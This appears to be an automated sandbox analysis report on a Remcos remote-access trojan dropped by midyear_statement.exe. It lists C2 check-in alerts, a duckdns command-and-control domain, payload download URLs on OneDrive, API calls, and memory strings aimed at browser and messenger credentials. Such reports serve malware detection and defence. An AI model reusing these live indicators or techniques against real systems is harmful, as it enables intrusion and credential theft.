Source: unknown	HTTPS traffic detected: 13.107.139.11:443 -> 192.168.2.7:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.139.11:443 -> 192.168.2.7:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.139.11:443 -> 192.168.2.7:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.139.11:443 -> 192.168.2.7:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.139.11:443 -> 192.168.2.7:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.139.11:443 -> 192.168.2.7:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.139.11:443 -> 192.168.2.7:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.139.11:443 -> 192.168.2.7:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.139.11:443 -> 192.168.2.7:49734 version: TLS 1.2

Source:	Binary string: E:\Adlice\Truesight\x64\Release\truesight.pdb source: midyear_statement.exe, 00000000.00000003.1260712967.000000007EC80000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1386222924.000000007F070000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1366143666.0000000002AC3000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000003.1261008104.000000007EC30000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: easinvoker.pdb source: midyear_statement.exe, 00000000.00000003.1260712967.000000007EC80000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1386222924.000000007F070000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1366143666.0000000002AC3000.00000004.00001000.00020000.00000000.sdmp, 2506803.exe, 2506803.exe, 00000010.00000002.1294538505.00007FF790071000.00000020.00000001.01000000.00000005.sdmp, 2506803.exe.0.dr
Source:	Binary string: easinvoker.pdbH source: midyear_statement.exe, 00000000.00000003.1260712967.000000007EC80000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000003.1291692035.0000000015C05000.00000004.00000020.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1386222924.000000007F070000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1366143666.0000000002AC3000.00000004.00001000.00020000.00000000.sdmp, 2506803.exe, 00000010.00000002.1294538505.00007FF790071000.00000020.00000001.01000000.00000005.sdmp, 2506803.exe.0.dr

Source: C:\Users\user\Desktop\midyear_statement.exe	Code function: 0_2_040A5878 GetModuleHandleA,GetProcAddress,lstrcpynA,lstrcpynA,lstrcpynA,FindFirstFileA,FindClose,lstrlenA,lstrcpynA,lstrlenA,lstrcpynA,	0_2_040A5878
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_00401612 RegOpenKeyA,RegQueryValueA,RegCloseKey,RegCloseKey,GetLocalTime,CreateDirectoryA,FindFirstFileA,MoveFileA,FindNextFileA,FindClose,	24_2_00401612
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_0040128D RegOpenKeyA,RegQueryValueA,RegCloseKey,RegCloseKey,FindFirstFileA,FindClose,GetLocalTime,	24_2_0040128D
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_12339253 __EH_prolog,__CxxThrowException@8,FindFirstFileW,FindNextFileW,FindClose,FindClose,	24_2_12339253
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_1234C291 FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,RemoveDirectoryW,FindClose,	24_2_1234C291
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_1233C34D FindFirstFileW,PathFileExistsW,FindNextFileW,FindClose,FindClose,	24_2_1233C34D
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_12339665 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,	24_2_12339665
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_12349AF5 FindFirstFileW,FindNextFileW,FindNextFileW,	24_2_12349AF5
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_1233BB30 FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,	24_2_1233BB30
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_1233783C FindFirstFileW,FindNextFileW,	24_2_1233783C
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_1233880C __EH_prolog,FindFirstFileW,__CxxThrowException@8,FindNextFileW,FindClose,	24_2_1233880C
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_1237E879 FindFirstFileExA,	24_2_1237E879
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_1233BD37 FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,	24_2_1233BD37
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_146410F1 lstrlenW,lstrlenW,lstrcatW,lstrlenW,lstrlenW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	24_2_146410F1
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_14646580 FindFirstFileExA,	24_2_14646580
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 27_2_0040AE51 FindFirstFileW,FindNextFileW,	27_2_0040AE51
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 28_2_00407EF8 FindFirstFileA,FindNextFileA,strlen,strlen,	28_2_00407EF8

Source: C:\Users\Public\Libraries\wkrriuhD.pif

Code function: 24_2_12337C97 SetEvent,GetFileAttributesW,DeleteFileW,ShellExecuteW,GetLogicalDriveStringsA,SetFileAttributesW,DeleteFileA,Sleep,StrToIntA,CreateDirectoryW,

24_2_12337C97

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2032776 ET TROJAN Remcos 3.x Unencrypted Checkin 192.168.2.7:49708 -> 192.3.109.132:4445
Source: Traffic	Snort IDS: 2032777 ET TROJAN Remcos 3.x Unencrypted Server Response 192.3.109.132:4445 -> 192.168.2.7:49708

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: xwww.zuckdgreb.duckdns.org

Uses dynamic DNS services

Source: unknown

DNS query: name: www.zuckdgreb.duckdns.org

Source: C:\Users\user\Desktop\midyear_statement.exe

Code function: 0_2_040BD1D0 InternetCheckConnectionA,

0_2_040BD1D0

Source: global traffic

HTTP traffic detected: GET /json.gp HTTP/1.1Host: geoplugin.netCache-Control: no-cache

Source: Joe Sandbox View	IP Address: 13.107.139.11 13.107.139.11
Source: Joe Sandbox View	IP Address: 178.237.33.50 178.237.33.50

Source: Joe Sandbox View

ASN Name: AS-COLOCROSSINGUS AS-COLOCROSSINGUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: global traffic	HTTP traffic detected: GET /download?resid=653A5056738F1A02%21262&authkey=!ANnz1a3_33sd8v4 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /download?resid=653A5056738F1A02%21263&authkey=!AN5i5LusLT79ejg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /download?resid=653A5056738F1A02%21264&authkey=!AJnxVlB06nkVKsk HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /download?resid=653A5056738F1A02%21262&authkey=!ANnz1a3_33sd8v4 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /download?resid=653A5056738F1A02%21263&authkey=!AN5i5LusLT79ejg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /download?resid=653A5056738F1A02%21264&authkey=!AJnxVlB06nkVKsk HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /download?resid=653A5056738F1A02%21262&authkey=!ANnz1a3_33sd8v4 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /download?resid=653A5056738F1A02%21263&authkey=!AN5i5LusLT79ejg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /download?resid=653A5056738F1A02%21264&authkey=!AJnxVlB06nkVKsk HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: onedrive.live.com

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\Public\Libraries\wkrriuhD.pif

Code function: 24_2_1234B380 InternetOpenW,InternetOpenUrlW,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

24_2_1234B380

Source: global traffic	HTTP traffic detected: GET /download?resid=653A5056738F1A02%21262&authkey=!ANnz1a3_33sd8v4 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /download?resid=653A5056738F1A02%21263&authkey=!AN5i5LusLT79ejg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /download?resid=653A5056738F1A02%21264&authkey=!AJnxVlB06nkVKsk HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /download?resid=653A5056738F1A02%21262&authkey=!ANnz1a3_33sd8v4 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /download?resid=653A5056738F1A02%21263&authkey=!AN5i5LusLT79ejg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /download?resid=653A5056738F1A02%21264&authkey=!AJnxVlB06nkVKsk HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /download?resid=653A5056738F1A02%21262&authkey=!ANnz1a3_33sd8v4 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /download?resid=653A5056738F1A02%21263&authkey=!AN5i5LusLT79ejg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /download?resid=653A5056738F1A02%21264&authkey=!AJnxVlB06nkVKsk HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /json.gp HTTP/1.1Host: geoplugin.netCache-Control: no-cache

Source: wkrriuhD.pif, 0000001B.00000003.1405784796.0000000000AA9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ://192.168.2.1/all/install/setup.au3https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live.com/oauth20_desktop.srfhttps://login.live.com/oauth20_logout.srfhttps://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com::MBI_SSL&response_type=token&display=windesktop&theme=win7&lc=2057&redirect_uri=https://login.live.com/oauth20_desktop.srf&lw=1&fl=wld2https://login.live.com/oauth20_authorize.srfhttps://login.live.com/oauth20_desktop.srf?lc=1033https://login.live.com/oauth20_desktop.srffile:///C:/Windows/system32/oobe/FirstLogonAnim.htmlhttps://www.google.com/accounts/serviceloginhttp://www.facebook.com/https://login.yahoo.com/config/login equals www.facebook.com (Facebook)
Source: wkrriuhD.pif, 0000001B.00000003.1405784796.0000000000AA9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ://192.168.2.1/all/install/setup.au3https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live.com/oauth20_desktop.srfhttps://login.live.com/oauth20_logout.srfhttps://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com::MBI_SSL&response_type=token&display=windesktop&theme=win7&lc=2057&redirect_uri=https://login.live.com/oauth20_desktop.srf&lw=1&fl=wld2https://login.live.com/oauth20_authorize.srfhttps://login.live.com/oauth20_desktop.srf?lc=1033https://login.live.com/oauth20_desktop.srffile:///C:/Windows/system32/oobe/FirstLogonAnim.htmlhttps://www.google.com/accounts/serviceloginhttp://www.facebook.com/https://login.yahoo.com/config/login equals www.yahoo.com (Yahoo)
Source: wkrriuhD.pif, 00000018.00000002.3665873791.0000000015C60000.00000040.10000000.00040000.00000000.sdmp, wkrriuhD.pif, 0000001D.00000002.1388519475.0000000000400000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: Software\America Online\AOL Instant Messenger (TM)\CurrentVersion\Users%s\Loginprpl-msnprpl-yahooprpl-jabberprpl-novellprpl-oscarprpl-ggprpl-ircaccounts.xmlaimaim_1icqicq_1jabberjabber_1msnmsn_1yahoogggg_1http://www.imvu.comhttp://www.ebuddy.comhttps://www.google.com equals www.ebuddy.com (eBuggy)
Source: wkrriuhD.pif, 0000001B.00000002.1406582942.0000000000AAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ccounts/serviceloginhttp://www.facebook.com/https://login.yahoo.com/config/login equals www.facebook.com (Facebook)
Source: wkrriuhD.pif, 0000001B.00000002.1406582942.0000000000AAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ccounts/serviceloginhttp://www.facebook.com/https://login.yahoo.com/config/login equals www.yahoo.com (Yahoo)
Source: wkrriuhD.pif, 00000018.00000002.3665873791.0000000015C60000.00000040.10000000.00040000.00000000.sdmp, wkrriuhD.pif, 0000001D.00000002.1388519475.0000000000400000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.ebuddy.com equals www.ebuddy.com (eBuggy)
Source: wkrriuhD.pif	String found in binary or memory: http://www.facebook.com/ equals www.facebook.com (Facebook)
Source: wkrriuhD.pif, 00000018.00000002.3665263923.0000000014530000.00000040.10000000.00040000.00000000.sdmp, wkrriuhD.pif, 0000001B.00000002.1406156009.0000000000400000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: ~@:9@0123456789ABCDEFURL index.datvisited:https://www.google.com/accounts/serviceloginhttp://www.facebook.com/https://login.yahoo.com/config/login$ equals www.facebook.com (Facebook)
Source: wkrriuhD.pif, 00000018.00000002.3665263923.0000000014530000.00000040.10000000.00040000.00000000.sdmp, wkrriuhD.pif, 0000001B.00000002.1406156009.0000000000400000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: ~@:9@0123456789ABCDEFURL index.datvisited:https://www.google.com/accounts/serviceloginhttp://www.facebook.com/https://login.yahoo.com/config/login$ equals www.yahoo.com (Yahoo)

Source: unknown

DNS traffic detected: queries for: onedrive.live.com

Source: midyear_statement.exe, 00000000.00000003.1260712967.000000007EC80000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1386222924.000000007F070000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1366143666.0000000002AC3000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000003.1261008104.000000007EC30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: bhv348F.tmp.27.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: bhv348F.tmp.27.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: bhv348F.tmp.27.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
Source: bhv348F.tmp.27.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0B
Source: bhv348F.tmp.27.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG3.crt0
Source: bhv348F.tmp.27.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2SecureServerCA-2.crt0
Source: bhv348F.tmp.27.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTLSRSASHA2562020CA1-1.crt0
Source: midyear_statement.exe, 00000000.00000003.1260712967.000000007EC80000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1386222924.000000007F070000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1366143666.0000000002AC3000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000003.1261008104.000000007EC30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: midyear_statement.exe, 00000000.00000003.1260712967.000000007EC80000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1386222924.000000007F070000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1366143666.0000000002AC3000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000003.1261008104.000000007EC30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: midyear_statement.exe, 00000000.00000003.1260712967.000000007EC80000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1386222924.000000007F070000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1366143666.0000000002AC3000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000003.1261008104.000000007EC30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: midyear_statement.exe, 00000000.00000003.1260712967.000000007EC80000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1386222924.000000007F070000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1366143666.0000000002AC3000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000003.1261008104.000000007EC30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAEVR36.crl0
Source: midyear_statement.exe, 00000000.00000003.1260712967.000000007EC80000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1386222924.000000007F070000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1366143666.0000000002AC3000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000003.1261008104.000000007EC30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: midyear_statement.exe, 00000000.00000003.1260712967.000000007EC80000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1386222924.000000007F070000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1366143666.0000000002AC3000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000003.1261008104.000000007EC30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: bhv348F.tmp.27.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: bhv348F.tmp.27.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: bhv348F.tmp.27.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl0
Source: bhv348F.tmp.27.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
Source: bhv348F.tmp.27.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG3.crl07
Source: bhv348F.tmp.27.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTLSRSASHA2562020CA1-4.crl0
Source: midyear_statement.exe, 00000000.00000003.1260712967.000000007EC80000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1386222924.000000007F070000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1366143666.0000000002AC3000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000003.1261008104.000000007EC30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: midyear_statement.exe, 00000000.00000003.1260712967.000000007EC80000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1386222924.000000007F070000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1366143666.0000000002AC3000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000003.1261008104.000000007EC30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: bhv348F.tmp.27.dr	String found in binary or memory: http://crl3.digicert.com/DigicertSHA2SecureServerCA-1.crl0?
Source: bhv348F.tmp.27.dr	String found in binary or memory: http://crl3.digicert.com/Omniroot2025.crl0
Source: bhv348F.tmp.27.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: bhv348F.tmp.27.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
Source: bhv348F.tmp.27.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG3.crl0
Source: bhv348F.tmp.27.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertTLSRSASHA2562020CA1-4.crl0
Source: bhv348F.tmp.27.dr	String found in binary or memory: http://crl4.digicert.com/DigicertSHA2SecureServerCA-1.crl0
Source: bhv348F.tmp.27.dr	String found in binary or memory: http://crl4.digicert.com/DigicertSHA2SecureServerCA-1.crl0~
Source: midyear_statement.exe, 00000000.00000003.1260712967.000000007EC80000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1386222924.000000007F070000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1366143666.0000000002AC3000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000003.1261008104.000000007EC30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAEVR36.crt0#
Source: midyear_statement.exe, 00000000.00000003.1260712967.000000007EC80000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1386222924.000000007F070000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1366143666.0000000002AC3000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000003.1261008104.000000007EC30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: wkrriuhD.pif, 00000018.00000003.1379033633.00000000124CA000.00000004.00000020.00020000.00000000.sdmp, wkrriuhD.pif, 00000018.00000003.1379159545.00000000124D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/
Source: wkrriuhD.pif, 00000018.00000002.3664577079.00000000124A0000.00000004.00000020.00020000.00000000.sdmp, wkrriuhD.pif, 00000018.00000002.3664577079.00000000124D4000.00000004.00000020.00020000.00000000.sdmp, wkrriuhD.pif, 00000018.00000002.3664577079.00000000124BD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/json.gp
Source: wkrriuhD.pif, 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, wkrriuhD.pif, 00000018.00000002.3646905411.0000000000590000.00000040.00000400.00020000.00000000.sdmp, wkrriuhD.pif, 0000001F.00000002.1589395937.0000000024140000.00000040.00001000.00020000.00000000.sdmp, wkrriuhD.pif, 0000001F.00000002.1566851721.0000000000590000.00000040.00000400.00020000.00000000.sdmp, wkrriuhD.pif, 00000021.00000002.1638276893.0000000000590000.00000040.00000400.00020000.00000000.sdmp, wkrriuhD.pif, 00000021.00000002.1638093919.00000000004F0000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/json.gp/C
Source: wkrriuhD.pif, 00000018.00000003.1379033633.00000000124A0000.00000004.00000020.00020000.00000000.sdmp, wkrriuhD.pif, 00000018.00000003.1382491430.0000000012491000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/json.gpSystem32
Source: wkrriuhD.pif, 00000018.00000003.1379033633.00000000124BD000.00000004.00000020.00020000.00000000.sdmp, wkrriuhD.pif, 00000018.00000003.1382491430.00000000124BD000.00000004.00000020.00020000.00000000.sdmp, wkrriuhD.pif, 00000018.00000003.1405851694.00000000124BD000.00000004.00000020.00020000.00000000.sdmp, wkrriuhD.pif, 00000018.00000003.1622995189.00000000124BD000.00000004.00000020.00020000.00000000.sdmp, wkrriuhD.pif, 00000018.00000002.3664577079.00000000124BD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/json.gpl
Source: midyear_statement.exe, 00000000.00000003.1260712967.000000007EC80000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1386222924.000000007F070000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1366143666.0000000002AC3000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000003.1261008104.000000007EC30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: bhv348F.tmp.27.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: bhv348F.tmp.27.dr	String found in binary or memory: http://ocsp.digicert.com0:
Source: midyear_statement.exe, 00000000.00000003.1260712967.000000007EC80000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1386222924.000000007F070000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1366143666.0000000002AC3000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000003.1261008104.000000007EC30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: midyear_statement.exe, 00000000.00000003.1260712967.000000007EC80000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1386222924.000000007F070000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1366143666.0000000002AC3000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000003.1261008104.000000007EC30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: bhv348F.tmp.27.dr	String found in binary or memory: http://ocsp.digicert.com0H
Source: bhv348F.tmp.27.dr	String found in binary or memory: http://ocsp.digicert.com0I
Source: midyear_statement.exe, 00000000.00000003.1260712967.000000007EC80000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1386222924.000000007F070000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1366143666.0000000002AC3000.00000004.00001000.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000003.1261008104.000000007EC30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0X
Source: bhv348F.tmp.27.dr	String found in binary or memory: http://ocsp.msocsp.com0
Source: bhv348F.tmp.27.dr	String found in binary or memory: http://ocsp.msocsp.com0S
